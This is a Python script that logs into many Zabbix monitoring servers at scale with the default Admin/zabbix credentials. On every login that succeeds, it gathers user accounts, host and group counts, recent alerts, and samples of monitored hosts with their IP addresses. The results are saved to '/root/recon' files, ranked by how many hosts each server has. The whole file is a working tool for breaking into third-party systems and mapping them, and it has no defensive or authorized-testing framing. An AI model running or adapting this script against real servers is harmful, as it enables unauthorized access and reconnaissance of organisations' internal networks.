import asyncio
import json
import os
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
OUT = "/root/recon/zbx"
os.makedirs(OUT, exist_ok=True)


def num(v):
    return isinstance(v, int) or (isinstance(v, str) and v.isdigit())


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        if r.status != 200:
            return {"_http": r.status}
        return json.loads(await r.content.read(2000000))


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if "error" in j or "_http" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if "error" not in j2 and "_http" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    base = "%s://%s:%s%s" % (scheme, ip, port, path)
    url = base + "api_jsonrpc.php"
    bearer = ver.startswith("7") or ver.startswith("8")
    rec = {"ip": ip, "port": port, "path": path, "ver": ver}
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return None
            rec["tok"] = tok

            j = await call(sess, url, "user.get",
                           {"output": ["userid", "username", "roleid", "attempt_failed"]}, tok, bearer)
            rec["users"] = j.get("result") if isinstance(j.get("result"), list) else str(j.get("error"))[:100]

            j = await call(sess, url, "host.get", {"countOutput": True}, tok, bearer)
            rec["hosts"] = int(j["result"]) if num(j.get("result")) else -1

            j = await call(sess, url, "hostgroup.get", {"countOutput": True}, tok, bearer)
            rec["groups"] = int(j["result"]) if num(j.get("result")) else -1

            j = await call(sess, url, "problem.get",
                           {"output": ["eventid", "name", "severity"], "sortfield": "eventid",
                            "sortorder": "DESC", "limit": 30}, tok, bearer)
            p = j.get("result")
            rec["problems"] = len(p) if isinstance(p, list) else -1
            rec["problems_top"] = p[:10] if isinstance(p, list) else []

            j = await call(sess, url, "host.get",
                           {"output": ["hostid", "host", "name"], "limit": 150,
                            "selectInterfaces": ["ip", "dns", "port"]}, tok, bearer)
            h = j.get("result")
            rec["hosts_sample"] = h if isinstance(h, list) else []
    except Exception as e:
        rec["err"] = type(e).__name__
        return rec

    fn = os.path.join(OUT, "%s_%s%s.json" % (ip, port, path.strip("/").replace("/", "_") or "root"))
    with open(fn, "w") as f:
        json.dump(rec, f, ensure_ascii=False)
    return rec


def line(rec):
    users = rec.get("users")
    if isinstance(users, list):
        unames = ",".join(u.get("username", "?") for u in users)
        nusers = len(users)
    else:
        unames = str(users)[:40]
        nusers = -1
    hs = rec.get("hosts_sample") or []
    names = ",".join(x.get("host", "?") for x in hs[:4])
    return "\t".join([rec["ip"], rec["port"], rec["path"], str(rec.get("ver")),
                      str(rec.get("hosts")), str(rec.get("groups")), str(rec.get("problems")),
                      str(nusers), unames[:120], names[:200]])


async def main():
    rows = []
    for line_ in sys.stdin:
        f = line_.rstrip("\n").split("\t")
        if len(f) >= 4 and f[3][:1].isdigit():
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(16)
    to = aiohttp.ClientTimeout(total=25, connect=6, sock_read=20)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        res = await asyncio.gather(*[one(s, sem, *r) for r in rows])
    ok = [r for r in res if r and isinstance(r.get("hosts"), int) and r["hosts"] >= 0]
    err = [r for r in res if r and "err" in r]
    ok.sort(key=lambda x: -x["hosts"])
    print("checked=%d ok=%d err=%d" % (len(rows), len(ok), len(err)))
    for r in ok:
        print(line(r))
    with open("/root/recon/admins.tsv", "w") as f:
        for r in ok:
            f.write(line(r) + "\n")


asyncio.run(main())
